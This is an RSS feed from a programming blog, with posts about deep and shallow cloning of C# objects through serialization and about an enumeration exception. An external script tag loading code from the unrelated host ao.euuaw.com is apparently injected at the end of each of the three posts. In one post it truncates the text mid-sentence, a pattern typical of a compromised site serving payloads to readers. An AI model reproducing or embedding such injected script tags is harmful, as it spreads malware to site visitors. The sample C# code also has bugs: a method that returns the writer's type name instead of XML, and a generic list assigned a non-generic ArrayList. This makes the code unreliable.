<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Wacdesigns &#187; C#</title>
	<atom:link href="http://www.wacdesigns.com/tag/c/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.wacdesigns.com</link>
	<description>What about Creativity ?</description>
	<lastBuildDate>Sat, 19 Jun 2010 12:58:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Copy-Clone custom object in C#</title>
		<link>http://www.wacdesigns.com/2008/08/05/copy-clone-custom-object-in-c/</link>
		<comments>http://www.wacdesigns.com/2008/08/05/copy-clone-custom-object-in-c/#comments</comments>
		<pubDate>Tue, 05 Aug 2008 02:00:53 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/?p=83</guid>
		<description><![CDATA[This post relates how to Copy/Clone custom object in C# (Deep and Shallow Clone). In this example I will be having a base class that all my custom object will be inheriting from. Updates: After quiet some research on the &#8230; <a href="http://www.wacdesigns.com/2008/08/05/copy-clone-custom-object-in-c/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>This post relates how to Copy/Clone custom object in C# (Deep and Shallow Clone).</p>
<p><span style="text-decoration: line-through;">In this example I will be having a base class that all my custom object will be inheriting from.</span></p>
<p><strong>Updates: </strong>After quiet some research on the subject i recently found some interesting articles on this subject and wanted to share them on this post.</p>
<h3>Object Cloning Using IL in C#</h3>
<blockquote><p>This subject is inspired on a session I followed on the TechDays 2008,<br />
that addressed the fact that IL (Intermediate Language) can be used to clone objects, among other things, and that it&#8217;s not evil at all, and it can be pretty performant also.</p>
<p>You only have to see that you don&#8217;t overuse it tho, because otherwise the readability of your code is reduced, which is not a good thing for the maintenance.<br />
And wrong usage of reflection (what IL is, or at least uses) can also result in poor performance.</p>
<p><em>Read more:</em><br />
<em><a href="http://whizzodev.blogspot.com/2008/03/object-cloning-using-il-in-c.html" target="_blank">http://whizzodev.blogspot.com/2008/03/object-cloning-using-il-in-c.html</a></em></p></blockquote>
<h3>C# Class For Making a Deep Copy Clone of an Arbitrary Object</h3>
<blockquote><p>Here is a C# class that can create a deep copy clone of an arbitrary object. The thing that&#8217;s special about it is that it should work for any class that extends it, so that you don&#8217;t need to re-write a custom clone() function for every child class (as it seems the C# framework creators would like). This does a deep copy so be careful about members that recursively include one another.</p>
<p>Another way of doing this would be to use serialization . . . I just personally thought the reflection package would be more elegant.</p>
<p><em>Read more: </em><br />
<em><a href="http://www.thomashapp.com/node/106" target="_blank">http://www.thomashapp.com/node/106</a></em></p></blockquote>
<h3>C# Object Clone Wars</h3>
<blockquote><p>Cloning C# objects is one of those things that appears easy but is actually quite complicated with many &#8220;gotchas.&#8221; This article describes the most common ways to clone a C# object.</p>
<p><strong>Shallow vs. Deep Cloning</strong></p>
<p>There are two types of object cloning: shallow and deep. A shallow clone copies the references but not the referenced objects. A deep clone copies the referenced objects as well.</p>
<div class="wp-caption alignnone" style="width: 410px"><a href="http://www.csharp411.com/c-object-clone-wars/"><img title="Shallow vs Deep Cloning" src="http://www.csharp411.com/wordpress/wp-content/uploads/2008/05/objectclone-thumb.jpg" alt="hallow vs Deep Cloning" width="400" height="195" /></a><p class="wp-caption-text">shallow vs Deep Cloning</p></div>
<p><em>Read more:<br />
<a href="http://www.csharp411.com/c-object-clone-wars/" target="_blank">http://www.csharp411.com/c-object-clone-wars/</a></em></p></blockquote>
<h3><strong>Clone C# Object</strong> using Serialization and De-serialization (Deep Clone)</h3>
<p>In this example i&#8217;ll be using Serialization and De-Serialization to make a deep clone of the Person Class.</p>
<p>You must import the following namespaces to start with.<br />
[csharp]<br />
using System;<br />
using System.Text;<br />
using System.Xml;<br />
using System.Xml.Serialization;<br />
using System.Runtime.Serialization;<br />
using System.IO;<br />
[/csharp]</p>
<p>Let&#8217;s create a base class <strong>Person </strong>that all our other classes with inherit from. It will contain the following methods:</p>
<ul>
<li>ToXMLString() : Returns an XML version of the current object</li>
<li>Deserialize(XmlDocument xml, Type type) : De-serialize the current XMLDocument cast it to the current type</li>
<li>Serialize(object o) : Serialize the current object and outputs an XMLDocument</li>
<li>Clone(): Runs a Serialization and De-serialization and returns a clone of the current Object</li>
</ul>
<p>[csharp]<br />
[Serializable()]<br />
public abstract class Person<br />
{<br />
///<br />
<summary>
/// To XML string.<br />
/// </summary>
<p>/// <returns></returns><br />
public string ToXMLString()<br />
{<br />
XmlSerializer serializer = new XmlSerializer(this.GetType());<br />
MemoryStream dataStream = new MemoryStream();<br />
XmlTextWriter writer = new XmlTextWriter(dataStream, Encoding.UTF8);<br />
serializer.Serialize(dataStream, this);<br />
return writer.ToString();<br />
}</p>
<p>///<br />
<summary>
/// Deserializes an xml document back into an object<br />
/// </summary>
<p>///
<param name="xml">The xml data to deserialize</param>
///
<param name="type">The type of the object being deserialized</param>
/// <returns>A deserialized object</returns><br />
public static object Deserialize(XmlDocument xml, Type type)<br />
{<br />
XmlSerializer s = new XmlSerializer(type);<br />
string xmlString = xml.OuterXml.ToString();<br />
byte[] buffer = ASCIIEncoding.UTF8.GetBytes(xmlString);<br />
MemoryStream ms = new MemoryStream(buffer);<br />
XmlReader reader = new XmlTextReader(ms);<br />
Exception caught = null;</p>
<p>try<br />
{<br />
object o = s.Deserialize(reader);<br />
return o;<br />
}</p>
<p>catch (Exception e)<br />
{<br />
caught = e;<br />
}<br />
finally<br />
{<br />
reader.Close();</p>
<p>if (caught != null)<br />
throw caught;<br />
}<br />
return null;<br />
}</p>
<p>///<br />
<summary>
/// Serializes an object into an Xml Document<br />
/// </summary>
<p>///
<param name="o">The object to serialize</param>
/// <returns>An Xml Document consisting of said object&#8217;s data</returns><br />
public static XmlDocument Serialize(object o)<br />
{<br />
XmlSerializer s = new XmlSerializer(o.GetType());</p>
<p>MemoryStream ms = new MemoryStream();<br />
XmlTextWriter writer = new XmlTextWriter(ms, new UTF8Encoding());<br />
writer.Formatting = Formatting.Indented;<br />
writer.IndentChar = &#8216; &#8216;;<br />
writer.Indentation = 5;<br />
Exception caught = null;</p>
<p>try<br />
{<br />
s.Serialize(writer, o);<br />
XmlDocument xml = new XmlDocument();<br />
string xmlString = ASCIIEncoding.UTF8.GetString(ms.ToArray());<br />
xml.LoadXml(xmlString);<br />
return xml;<br />
}<br />
catch (Exception e)<br />
{<br />
caught = e;<br />
}<br />
finally<br />
{<br />
writer.Close();<br />
ms.Close();</p>
<p>if (caught != null)<br />
throw caught;<br />
}<br />
return null;<br />
}</p>
<p>///<br />
<summary>
/// Creates a new object that is a copy of the current instance.<br />
/// </summary>
<p>/// <returns><br />
/// A new object that is a copy of this instance.<br />
/// </returns><br />
public object Clone()<br />
{<br />
return Deserialize(Serialize(this), this.GetType());<br />
}<br />
}<br />
[/csharp]</p>
<p>Here are sample classes that herits from the abstract base class and clone operation are performed upon them.</p>
<p>[csharp]</p>
<p>public class Clerk: Person<br />
{<br />
private string position;</p>
<p>///<br />
<summary>
/// Gets or sets the position.<br />
/// </summary>
<p>/// <value>The position.</value><br />
public string Position<br />
{<br />
get { return position; }<br />
set { position = value; }<br />
}<br />
}</p>
<p>public class Developer: Person<br />
{<br />
private string skill;</p>
<p>///<br />
<summary>
/// Gets or sets the skill.<br />
/// </summary>
<p>/// <value>The skill.</value><br />
public string Skill<br />
{<br />
get { return skill; }<br />
set { skill= value; }<br />
}<br />
}</p>
<p>[/csharp]</p>
<p>Using clone method.</p>
<p>[csharp]</p>
<p>public void UpdateSkills()<br />
{<br />
IList<clerk> clerkList = new ArrayList();<br />
IList<clerk> newClerkList = new ArrayList();</p>
<p>foreach (Clerk clerk in clerkList)<br />
{<br />
newClerkList.Add((Clerk)clerk.Clone());<br />
}<br />
}</p>
<p>[/csharp]<br />
[ad#co-inlinepost]<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2008/08/05/copy-clone-custom-object-in-c/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Exception: Collection was modified; enumeration operation may not execute.</title>
		<link>http://www.wacdesigns.com/2008/05/28/collection-was-modified-enumeration-operation-may-not-execute/</link>
		<comments>http://www.wacdesigns.com/2008/05/28/collection-was-modified-enumeration-operation-may-not-execute/#comments</comments>
		<pubDate>Wed, 28 May 2008 03:00:37 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Work]]></category>
		<category><![CDATA[Exception]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/?p=80</guid>
		<description><![CDATA[It&#8217;s been a while that i didn&#8217;t get this Exception, while working, and yesterday, while I was performing some test on]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been a while that i didn&#8217;t get this Exception, while working, and yesterday, while I was performing some test on<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2008/05/28/collection-was-modified-enumeration-operation-may-not-execute/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Copy custom object in C#</title>
		<link>http://www.wacdesigns.com/2007/08/09/copy-custom-object-in-c/</link>
		<comments>http://www.wacdesigns.com/2007/08/09/copy-custom-object-in-c/#comments</comments>
		<pubDate>Thu, 09 Aug 2007 04:27:19 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/2007/08/09/copy-custom-object-in-c/</guid>
		<description><![CDATA[There are several ways to clone custom object in .NET. Using reflection to get information about each field and properties in the custom class, create a new instance and assign the proper value. Manually implementing the clone method and assign &#8230; <a href="http://www.wacdesigns.com/2007/08/09/copy-custom-object-in-c/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>There are several ways to clone custom object in .NET.</p>
<ul>
<li>Using reflection to get information about each field and properties in the custom class, create a new instance and assign the proper value.</li>
<li>Manually implementing the  clone method and assign each  field and method and then return a new object</li>
<li>Using serialization and deserialization.</li>
</ul>
<p>I have tried the third method, that can be found <a title="Copy custom using serialization" href="http://www.thescripts.com/forum/thread214669.html" target="_blank">here</a>, it seems to be working fine for the time being, more test need to be done for performance overhead.</p>
<p>[ad#co-copy-custom-object-in-c]<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2007/08/09/copy-custom-object-in-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
